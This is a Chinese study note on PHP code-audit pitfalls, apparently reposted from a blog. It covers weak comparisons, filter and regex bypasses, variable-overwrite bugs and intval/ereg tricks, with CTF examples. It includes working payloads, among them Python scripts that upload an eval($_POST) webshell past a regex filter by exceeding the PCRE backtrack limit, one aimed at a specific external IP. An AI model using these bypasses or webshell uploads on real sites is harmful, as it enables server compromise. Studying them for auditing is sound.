PHP代码审计学习(1)

全局变量与超全局变量

$GLOBALS
$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问,$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。 $SERVER
$
SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$ _ REQUEST
PHP $ _ REQUEST 用于收集HTML表单提交的数据。
$ _ POST
PHP $ _ POST 被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="post"。 $ _ GET
PHP $ _ GET 同样被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="get"。 $ _ FILES
$ _ ENV
$ _ COOKIE
$ _ SESSION 等。

in_array():

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

此时注意这个函数之间存在着强弱比较:当我们设置第三个参数为False的时候我们就存在了弱比较。

<?php
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));
echo '<br>';
//true
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 6)));
echo '<br>';
//false
echo "in_array('kaibro', array(0, 1, 2))----->";
var_dump(in_array('kaibro', array(0,1, 2)));
echo '<br>';
//true
echo "in_array('kaibro', array(1, 2))----->";
var_dump(in_array('kaibro', array(1, 2)));
echo '<br>';
//flase
echo "in_array('ddd', array('kai'=>0))------>";
var_dump(in_array('ddd', array('kai'=>0)));
echo "<br>";
//true
echo "in_array('ddd', array('kai'=>1))----->";
var_dump(in_array('ddd', array('kai'=>1)));
echo "<br>";
//false
echo"three magic options";
echo '<br>';
echo "in_array(array(), array('kai'=>false))---->";
var_dump(in_array(array(), array('kai'=>false)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>null))--->";
var_dump(in_array(array(), array('kai'=>null)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>0))---->";
var_dump(in_array(array(), array('kai'=>0)));
echo '<br>';
//false

输出:

in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->bool(true)
in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->bool(false)
in_array('kaibro', array(0, 1, 2))----->bool(true)
in_array('kaibro', array(1, 2))----->bool(false)
in_array('ddd', array('kai'=>0))------>bool(true)
in_array('ddd', array('kai'=>1))----->bool(false)
three magic options
in_array(array(), array('kai'=>false))---->bool(true)
in_array(array(), array('kai'=>null))--->bool(true)
in_array(array(), array('kai'=>0))---->bool(false) 

filtervar ,pregmatch,parse_url

filter_var

使用特定的过滤器过滤一个变量:mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
当我们使用FILTERVALIDATEURL 过滤器来判断是否是一个合法的url。可以用javascript伪协议进行绕过,例如:

<?php

if(filter_var($_GET['url'],FILTER_VALIDATE_URL))
{
    var_dump($_GET['url']);

}
?>
parse_url

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
此功能的解析是这样的,他会将//之后的认为是主机名,/后面的认为是路径,当我们传入///之后它会返回一个false,这种能让我们绕过一些过滤。

<?php
var_dump(parse_url("//a/b")); #array(2) { ["host"]=> string(1) "a" ["path"]=> string(2) "/b" } 
echo "<br>";
var_dump(parse_url('..//a/b/c:80'));  #array(3) { ["host"]=> string(2) ".." ["port"]=> int(80) ["path"]=> string(10) "//a/b/c:80" } 
echo "<br>";
var_dump(parse_url('///a.php?id=1'));  #bool(false) 
echo "<br>";

另外在php<5.3之前,他对于端口的解析是这样的,当端口号大于65535:
var_dump(parse_url('http://kaibro.tw:87878'));#array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }会加上,就跟chr()函数会对于255以上的自动重新开始计算转换字母。
但当php>5.3:var_dump(parse_url('http://kaibro.tw:87878'));#false

preg_match

搜索subject与pattern给定的正则表达式的一个匹配,preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
严格匹配时候,可以用%0a绕过测试代码:

<?php
$tests = $_GET['hhh'];
if(preg_match('/^test$/', $tests) && $_GET['hhh']!="test")
{
    echo 123;
}
?>

我们传入:127.0.0.1/hhh=test%0A即可。

如果我们传递了数组进去,

<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test))
{
    echo 'nonono';
    die();
}
echo 'welcome';
file_put_contents('output', $test);
?>

http://127.0.0.1/1.php?txt[]=<>
在网站根目录下成功写入,虽然有警报但还是执行成功了。

Warning: preg_match() expects parameter 2 to be string, array given in D:phpstudy_proWWW1.php on line 3
welcome 

正则引擎回溯导致正则匹配失效:

<?php
function is_php($data){  
    return preg_match('/<?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

常见的正则引擎,被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
PHP使用的PCRE库就是NFA。
参考文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
php为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack _ limit,他的值为1000000即一百万,超过这个数值preg _ match就会返回false。
利用代码:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

ctf:

<?php
function is_php($data){
    return preg_match('/<?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);

poc:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)

利用的就是此特性。

escapeshellarg,escapeshellcmd
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号
定义 :string escapeshellarg ( string $arg )




escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线()会在以下字符之前插入: &#;`|?~<>^()[]{}$*, x0A 和 xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)

变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
全局变量覆盖:
当registerglobals=Off时,我们使用$GET['id']来接收传递过来的值。
当registerglobals=On的时候,下一个程序可以直接使用$id来接受值,也可以用$GET['id']来接受传递过来的值。

$$

当我们使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
原理:

<?php

$a='aaa';
$aaa='xxx';
echo $$a; 

?>

$$a=$($a)=$(aaa)='xxx'这就是具体的转换形式。

extract()函数导致的变量覆盖问题

用法:extract(array,extract_rules,prefix)
原理:当extractrules为空,或者是 EXTROVERWRITE,那么遇到冲突就会覆盖原变量。

<?php
$a = 1;
print_r("extract()执行之前:$a = ".$a."<br />");
$b = array('a'=>'2');
extract($b);
print_r("extract()执行之后:$a = ".$a."<br />");
?>

输出 :

extract()执行之前:$a = 1
extract()执行之后:$a = 2

代码二:

<?php
$id=1;  
extract($_GET);
echo $id;
?>

http://127.0.0.1/1.php?id=444输出:444

ctf:

<?php

$flag = ‘xxx’;

extract($_GET);

if (isset($gift)) {

    $content = trim(file_get_contents($flag));

    if ($gift == $content) {

        echo ‘hctf{…}’;

    } else {

        echo ‘Oh..’;

    }

} 

?>

extract($_GET),无第二个参数,使用变量覆盖将gift和flag都重新覆盖,我们传递两个空即可,payload:?flag=&gift=

extract() 函数第二个参数修改为 extr_skip时,变量覆盖就不会发生了。

parse_str()变量覆盖

parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量,他会将字符串解析成多个变量。

<?php
$a='eee';
parse_str("a=fff");
print_r($a);
?>

输出:fff

题目:

<?php

error_reporting(0);

if (empty($_GET['id'])) {

    show_source(__FILE__);

    die();

} else {

    include (‘flag.php’);

    $a = “www.OPENCTF.com”;

    $id = $_GET['id'];

    @parse_str($id);

    if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {

        echo $flag;

    } else {

        exit(‘其实很简单其实并不难!’);

    }

}

?> 

关于if的判断条件很简单可以算一下QNKCDZO的md5值我们可以利用科学技术法,而$a[0]就需要我们利用parse_str的变量覆盖漏洞了。

importrequestvariables()

将 GET/POST/Cookie 变量导入到全局作用域中。GP表示的是GET和POST。

<?php
$a = 1;    
import_request_variables('GP');   
print_r($a);  
?>

http://127.0.0.1/1.php?a=8输出为8,发生变量覆盖,注意版本需要小于5.4.

preg_replace

由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,可能导致我们正则匹配失效,且在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。

intval

intval()在处理16进制时存在问题,当16进制+1时php会强制转换,然后再Intval后是正常的。

<?php
$password = $_GET['password'];
print($password + 1);
echo "<br>";
print(intval($password));
echo "<br>";    
print(intval($password + 1));
?>

intval函数溢出绕过:
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647,我们完全可以利用这个特性,因为只要大于这个数字返回的结果都是2147483647,那么我们就可以绕过一些waf了。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。

<?php
$info =$_GET['number'];
if (!is_numeric($info)){
echo $info;
}
?>

url:http://127.0.0.1/1.php?number=111%00
output:111

ereg

ereg函数在匹配的时候遇到%00截断就会停止比较,isnumeric同理也可以,而且isnumeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。。

ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密码必须仅为0-9A-Za-z 并且还必须包含‘--’
这里利用ereg比较数组和字符串会返回-1 而strpos会返回null 构造?password[]=或者利用ereg的%00截断 
构造输入为 password=1%00-- 即可绕过

0x十六进制

转换十六进制有时候能帮助我们逃过一些过滤,例如套避数字过滤,3735929054->0xdeadc0de

原文地址:https://www.cnblogs.com/ophxc/p/12925424.html